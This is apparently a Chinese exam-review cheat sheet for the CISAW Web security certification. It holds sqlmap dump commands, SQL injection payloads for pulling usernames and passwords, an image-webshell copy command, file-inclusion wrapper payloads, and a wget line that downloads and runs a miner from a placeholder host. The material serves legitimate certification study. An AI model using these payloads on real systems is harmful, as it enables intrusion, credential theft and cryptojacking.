web考证php实体,CISAW-Web基础级考证——考前复习知识点大杂烩
当你的才华
还撑不起你的野心时
那你就应该静下心来学习
明天要考CISAW-Web安全基础级证书,复习整理一下思路,明天考试
目录
sql注入时,使用sqlmap注入mysql和access数据库有什么不同
sql注入
命令执行:
xss:
csrf
xxe
ssrf
代码审计:
php基本功:
python:
sql注入时,使用sqlmap注入mysql和access数据库有什么不同
三个给分点:
1.命令
mysql:
sqlmap -u url --dbs
sqlmap -u url -D 数据库名 --tables
sqlmap -u url -D 数据库名 -T 表名 --columns
sqlmap -u url -D 数据库名 -T 表名 -C 字段名 --dump
2. access:
sqlmap -u url --tables
sqlmap -u url --columns -T 表名
sqlmap -u url -T 表名 -C 字段名 --dump
3. 说出sqlmap为什么注入access没有dbs
Access 每个数据就是个单独文件,每个Access 只有表结构
图片马的制作:
写出命令即可
/a
ASCIl文本文件(默认
/b
二进制文件复制——将复制扩展字符
windows
copy 1.jpg /b + 2.php /a hack.jpg
linux
cp 1.jpg /b + 2.php /a hack.jpg
sql注入
1.union
# 判断是否存在注入
?id=1'
# 判断该注入点的长度是多少
?id=1' order by * --+
# 确认长度为*后(长度为3),获取系统信息(分别使用 user()、database()、version(),来进行查询)
?id=1' union select 1,2,version() --+
# 爆表
?id=1' union select 1,2,table_name from information_schema.tables
where table_schema='数据库名' limit 0,1 --+
# 爆字段
id=1' union select 1,2,table_column from information_schema.columns
where table_schema='数据库名' and table_name='表名' limit 0,1 --+
# 爆账号和密码
?id=1' union select 1,username,password from users limit 0,1 --+
• Booleanbase(普通盲注)
• Timebase(时间盲注)
• Errorbase(基于报错的盲注)。
至于具体分别,我们在后面的试验中会学习到。 首先我们要知道在盲注中经常用到的一些方式:
• left(database(),1) 返回 database()的最左面 1 个字符
• length(databse()) 返回数据库的长度
• substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度
• ascii() 将某个字符转换为 ascii 值
• mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
# 盲注猜解系统版本号左边开头信息
?id=1' and left(version(),1)=5 --+
# 盲注猜解系统版本长度
?id=1' and length(version())=* --+
# 盲注猜解数据库版本信息内容
?id=1' and left(version,1) > '*' --+
# 盲注猜解数据库的表的名称
?id=1' and ascii(substr((select table_name from information_schema.
tables where table_shcema=database() limit 0,1),1,1)) > 100 --+
# 盲注猜解数据库表的列名
id=1' and ascii(substr((select table_column from information_schema
columns where table_shcema='数据库名' and table_name='表名'
limit 0,1),1,1)) > 99 --+
# 盲注猜解列名的内容
# 0x20 可以作为整型常量和单字节表示,在这里作为单字节表示,可用于字符型变量的赋值,用于char时,其代表ascii码值0x20,即字符空格''
?id=1' and 1=(select ifnull(cast(username as char),0x20) from
数据库名.表名 order by id limi 0,1),1,)) = 68 --+
# 判断数据库
?id=1' and 1=(select 1 from information_schema.columns where
table_name='表名' and column_name regexp '^username' limit 0,1) > 97 --+
2.bool
# 判断,同理表名字,段名
?id=1' and length(version())=8 --+
# 爆库名
?id=1' and left((select database()),8)='security'--+
# 爆表,爆字段,爆值
3.报错(extractvalue()函数 / updatexml()函数 / floor()函数)
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()
注:updatexml注入
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
4.time(sleep() / benchmark)
# 判断是否存在延时注入
?id=1' and sleep(3) --+
# 判断数据库长度是否为4,如果为真则延时3秒加载也没,为false则返回1
?id=1' and if(length(database())=4,sleep(3),1) --+
# 猜解数据库名称
?id=1' and if(left(database(),1)='d',sleep(3),1)--+
# 猜解表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
# 猜解密码字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+
# 猜解账号字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
# 猜解密码字段内容
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
# 猜解账号字段内容
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
数据库
1.mysql(information_schema)
2.mssql(注入靠比大小)
3.access(没有库结构,只有表列)
注入点:
1.int
2.string
文件上传:
1. 木马
大马/小马
• 大马(功能多,代码量大)
• 小马(功能单一,一行解决)
什么情况下用小马?什么情况下用大马?什么时候用过狗马?
• 过狗小马:冰蝎小马
•过狗大马:过狗大马
答:遇到安全狗,直接上大马。原因是菜刀流量特征明显,而大马是正常文件正常访问。小马需要菜刀连接,而大马不需要
2.上传点
•头像
•文件管理
•附件管理
3.上传绕过
前端验证
禁用js
类型检测
mime
后缀名检测
各种截断
头检测
冰蝎图片木马
图片二次渲染
上传普通图片,判断渲染前和渲染后不变的位置
文件包含
远程文件包含(allow_url_include)
包含http路径,引入webshell
本地文件
包含本地敏感文件(/etc/passwd,config.ini)
伪协议
php://input 输入/输出流
php://input
php://filter PHP 归档
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php
file:// 访问本地文件系统
file://etc/passwd
phar:// PHP 归档(php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压)
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php
zip:// 跟phar 类似,但用法不太一样
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php
命令执行:
危险函数(exec/system/shell_exec/popen/passthru)
代码执行:
危险函数(eval/assert/preg_replace /e参数)
反序列化:
原理:
构造函数__construct
析构函数__distruct
__sleep
__weekup
定义的类中的方法在serialize/unserialize时候引用方法,导致(变量覆盖,传入恶意代码)进而危害系统安全
xss:
xss本质是恶意的js代码插入到前端页面中执行
类型:
1.反射型
危害小,一次性,常用作钓鱼
2.存储型
危害大,持久型(常常存在数据库中),常用来打cookie或截图,getshell
3.dom型
新型xss,通常认为是反射型,出现在各种事件处,最新研究可以是持久型
csrf
通常和xss连用,不获取cookie,而是通过诱导点击/ajax伪造发包等方式发起伪造请求
xxe
xml外部实体注入,可以引入外部实体实现读取本地敏感文件
ssrf
服务器端请求伪造
文件包含(include url)
命令执行(wget url)
危害:
可以控制服务器扫描内网
可以控制服务器下载挖矿(wget http://xxxxx/qwer;chmod a+x qwer;./qwer)
代码审计:
思路:
1.危险函数里边的可控变量
2.外部接受的变量传递流程
3.单个模块功能审计
php基本功:
函数(过滤,执行,string调整,匹配对比)
python:
变量
四则运算
逻辑控制(if else)
循环(for while)
函数
库(丰富的库,requests/bs4/urllib2,os/sys,xls,math,iso)
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重
web考证php实体,CISAW-Web基础级考证——考前复习知识点大杂烩相关推荐
- 信息安全保障人员CISAW认证基础级、专业级通用认证条件
信息安全保障人员认证(Certified Information Security Assurance Worker,简称"CISAW")是中国网络安全审查技术与认证中心针对信息安 ...
- 计算机网络考前复习知识点(基础)
1:常用的传输介质中,带宽最大.传输信号衰减最小.抗干扰能力最强的是光纤. 2:二层交换机工作在 OSI/RM 的数据链路层,三层交换机工作在OSI/RM的网络层. 3:对等层之间的通信使用的是协议. ...
- 2019电大计算机考试题及答案,2019年最新电大《计算机应用基础》期末考前复习综合练习题(A、B、C)及参考答案资料小抄...
电大<计算机应用基础>期末复习综合练习题(A) 一.单选题(每题2分,共40分) 1 显示器是一种(B). A 输入设备 B 输出设备 C 存储器 D 运算器 2 在计算机中表示存储器容量 ...
- 2020小迪培训(第20天WEB 漏洞-文件上传之基础及过滤方式)
WEB 漏洞-文件上传之基础及过滤方式 前言 知识点 什么是文件上传漏洞? 有文件上传不一定存在漏洞 凡是存在文件上传的地方/功能的地方都可以进行文件上传漏洞测试 上传文件操作的代码的完整性.安全性, ...
- Web前端系列技术之HTML基础(从入门开始)①
Web前端系列技术之HTML基础(从入门开始)① 从这里开始,我便开始记录每天重新学习巩固HTML语言的过程,这不仅仅是为了提高自己的熟练度,更是为了让自己的博客一步一步的见证我走向前端全栈工程师这条 ...
- Java面试题 Web+EJB Spring+数据结构 算法计算机基础
六.Web 部分:(共题:基础40 道,基础37 道,中等难度3 道) 122.说出Servlet 的生命周期,并说出Servlet 和CGI 的区别? [基础] 答:Web 容器加载Servlet ...
- web基础设施知识;web前端安全***,客户端安全基础
web基础设施知识:web前端安全***,客户端安全基础(持续更新,后续会加入以BurpSuite等工具执行黑盒***测试的内容) <google chrome浏览器安全冲浪部分> 1.直 ...
- 玩转群晖NAS套件系列六:Web Station的安装与使用保姆级教程!
本章总结: 上一章节我们讲解<玩转群晖NAS套件系列五:Moments的安装与使用保姆级教程!>,此教程堪称史上手把手的保姆教程,受到广大网友的一致好评. Web Station这个套件是 ...
- 1+X Web前端等级考证 | 2020 12月Web前端开发中级实操 (模拟试题第一套) 附答案
由于经常分享失败,我上传github上了,先放上链接:https://github.com/Lydever/web-1-x.git 请礼貌,不要耍流氓哈哈,创作不易,下载的同时,请start一下,谢谢 ...
最新文章
- 爬虫学习笔记(十三)—— scrapy-redis(二):存储到MySQL、Scrapy项目部署
- PMcaff活动 | 汪培公:农村电商模式的重新思考
- 动态代理案例1:运用Proxy动态代理来增强方法
- CodeForces - 1307C Cow and Message(思维)
- C 线程的使用~(下)
- php vimrc配置文件,vim技巧:我的 .vimrc 配置文件,详解每一个配置项的作用
- 出大问题!webpack 多入口html模板在后端
- 阿里云的SLB,植入cookie和重写cookie有什么区别?
- python自动化办公excel-自动化办公:python 操作Excel
- 抖音短视频 产品需求文档
- 调研分析-全球与中国非线性光学BIBO晶体(BiB3O6)市场现状及未来发展趋势
- 钢琴的音色特点用matlab描述6,关于用MATLAB 实现简易钢琴 App的教程分享
- Python计算卡方值
- python去除空行_python中去掉空行的问题
- 两化融合贯标之-申请表案例
- 微信JSAPI支付对接流程及支付接口设计
- Android输入法方法,Android的输入法系统框架原理
- VR全景制作拍摄方法教程
- My future of programming
- 运算放大器的稳定性分析(一)
热门文章
- 高校计算机课件(一)NPM、PYPI、DockerHub 备份
- 第一个子元素在未超过父元素高度的情况下设置margin-top导致出现竖向滚动条的问题
- 三星s6 html5测试分数,三星S6 Edge跑分测试出炉
- 20170409 关于微信电脑版多开
- APP怎样拉新,APP拉新需要与用户交流
- 最小二乘法的拟合原理
- 碰见位置不可用无法访问磁盘结构损坏且无法读取如何解决?
- sqlite报错:sqlite3.OperationalError: near “updata“: syntax error
- 六边形格子地图坐标计算与转换
- 如何在Android引用第三方字体文件?